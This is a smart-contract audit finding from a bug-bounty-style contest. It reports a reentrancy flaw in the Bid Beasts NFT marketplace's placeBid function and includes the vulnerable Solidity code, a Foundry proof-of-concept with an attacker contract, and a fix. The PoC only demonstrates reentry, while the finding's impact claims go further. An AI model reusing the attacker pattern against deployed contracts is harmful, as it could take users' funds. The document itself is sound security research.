Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy Due to External Calls Before State Update in placeBid

[H-2] Reentrancy Due to External Calls Before State Update in placeBid

Description

An attacker can exploit reentrancy in placeBid to manipulate auction flow and drain ETH refunds, potentially stealing funds from honest bidders and the marketplace. Since external calls (_payout) are made before critical state updates (e.g., clearing or updating bids), the attacker can reenter and interfere with auction logic.

function placeBid(uint256 tokenId) external payable isListed(tokenId) {
Listing storage listing = listings[tokenId];
address previousBidder = bids[tokenId].bidder;
uint256 previousBidAmount = bids[tokenId].amount;
require(listing.seller != msg.sender, "Seller cannot bid");
require(listing.auctionEnd == 0 || block.timestamp < listing.auctionEnd, "Auction ended");
if (listing.buyNowPrice > 0 && msg.value >= listing.buyNowPrice) {
uint256 salePrice = listing.buyNowPrice;
uint256 overpay = msg.value - salePrice;
bids[tokenId] = Bid(msg.sender, salePrice);
listing.listed = false;
// @> ROOT CAUSE: External call (_payout) happens here
// @> before state cleanup or bid reset → reentrancy risk.
if (previousBidder != address(0)) {
_payout(previousBidder, previousBidAmount);
}
// @> Another external call before final state commit
_executeSale(tokenId);
if (overpay > 0) {
_payout(msg.sender, overpay);
}
return;
}
// ... rest of auction logic ...
}

Risk

Likelihood:

High – The function is publicly accessible, and an attacker can become the highest bidder with minimal cost (just above the minimum price). Once in position, the refund path is guaranteed to trigger on any higher bid or buy-now, making exploitation straightforward.

Impact:

High – Exploitation allows the attacker to reenter placeBid or other state-changing functions before state is finalized. This can:

  • Steal ETH credits from honest bidders.

  • Lock auctions in inconsistent states.

  • Deny service by blocking future bids or settlements.

Overall, this could lead to loss of funds for users and protocol insolvency if multiple auctions are targeted.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {Test} from "forge-std/Test.sol";
import {BidBeastsNFTMarket} from "../src/BidBeastsNFTMarketPlace.sol";
import {BidBeasts} from "../src/BidBeasts_NFT_ERC721.sol";
contract ReentrantAttacker {
BidBeastsNFTMarket public market;
address public owner;
uint256 public tokenId;
bool public reentered;
constructor(address _market) {
market = BidBeastsNFTMarket(_market);
owner = msg.sender;
}
function placeInitialBid(uint256 _tokenId) external payable {
tokenId = _tokenId;
market.placeBid{value: msg.value}(_tokenId);
}
receive() external payable {
// mark reentry to prove the callback ran
reentered = true;
}
function sweep(address payable to) external {
require(msg.sender == owner, "only owner");
to.transfer(address(this).balance);
}
}
contract ReentrancyPoCTest is Test {
BidBeasts public nft;
BidBeastsNFTMarket public market;
ReentrantAttacker public attackerContract;
address constant OWNER = address(0x1);
address constant SELLER = address(0x2);
address constant HONEST_BIDDER = address(0x3);
address constant COLLECTOR = address(0x999);
uint256 constant TOKEN_ID = 0;
uint256 constant MIN_PRICE = 1 ether;
function setUp() public {
vm.prank(OWNER);
nft = new BidBeasts();
vm.prank(OWNER);
market = new BidBeastsNFTMarket(address(nft));
attackerContract = new ReentrantAttacker(address(market));
vm.deal(HONEST_BIDDER, 10 ether);
vm.deal(address(attackerContract), 5 ether);
vm.deal(COLLECTOR, 0);
}
function test_reentrancy_detected() public {
// Mint to SELLER (OWNER must call mint)
vm.prank(OWNER);
nft.mint(SELLER);
// SELLER approve + list (buyNow = 0 to exercise bidding)
vm.prank(SELLER);
nft.approve(address(market), TOKEN_ID);
vm.prank(SELLER);
market.listNFT(TOKEN_ID, MIN_PRICE, 0);
// Attacker places initial bid > min
uint256 attackerInitial = MIN_PRICE + 0.1 ether;
vm.deal(address(attackerContract), attackerInitial);
vm.prank(address(attackerContract));
attackerContract.placeInitialBid{value: attackerInitial}(TOKEN_ID);
// Honest bidder outbids -> attacker will be refunded and receive() executes
uint256 honestBid = attackerInitial + 1 ether;
vm.prank(HONEST_BIDDER);
market.placeBid{value: honestBid}(TOKEN_ID);
assertTrue(attackerContract.reentered(), "Attacker did not reenter on refund");
// Optional sweep
vm.prank(address(this));
attackerContract.sweep(payable(COLLECTOR));
}
}
forge test --match-test test_reentrancy_detected -vvv

Recommended Mitigation

  • The placeBid function should be refactored to follow the Checks-Effects-Interactions (CEI) pattern and use a pull-over-push refund mechanism. This ensures all state changes happen before any external interaction, eliminating the reentrancy window.

function placeBid(uint256 tokenId) external payable isListed(tokenId) {
Listing storage listing = listings[tokenId];
address previousBidder = bids[tokenId].bidder;
uint256 previousBidAmount = bids[tokenId].amount;
require(listing.seller != msg.sender, "Seller cannot bid");
require(listing.auctionEnd == 0 || block.timestamp < listing.auctionEnd, "Auction ended");
if (listing.buyNowPrice > 0 && msg.value >= listing.buyNowPrice) {
uint256 salePrice = listing.buyNowPrice;
uint256 overpay = msg.value - salePrice;
- // EFFECT: set winner bid to exact sale price (keep consistent)
- bids[tokenId] = Bid(msg.sender, salePrice);
- listing.listed = false; // Marks listing as sold immediately.
-
- // @audit Reentrancy risk: external call before state cleanup
- if (previousBidder != address(0)) {
- _payout(previousBidder, previousBidAmount);
- }
- _executeSale(tokenId);
-
- if (overpay > 0) {
- _payout(msg.sender, overpay);
- }
+ // Clean up state first
+ bids[tokenId] = Bid(msg.sender, salePrice);
+ listing.listed = false;
+ // Record refund & payouts (use pull-over-push pattern)
+ if (previousBidder != address(0)) {
+ failedCredits[previousBidder] += previousBidAmount;
+ }
+ if (overpay > 0) {
+ failedCredits[msg.sender] += overpay;
+ }
+ // Execute sale logic AFTER state is consistent
+ _executeSale(tokenId);
return;
}
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Reentrancy In PlaceBid

BidBeast Marketplace has a Medium-severity reentrancy vulnerability in its "buy-now" feature that allows an attacker to disrupt the platform by blocking sales or inflating gas fees for legitimate users.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!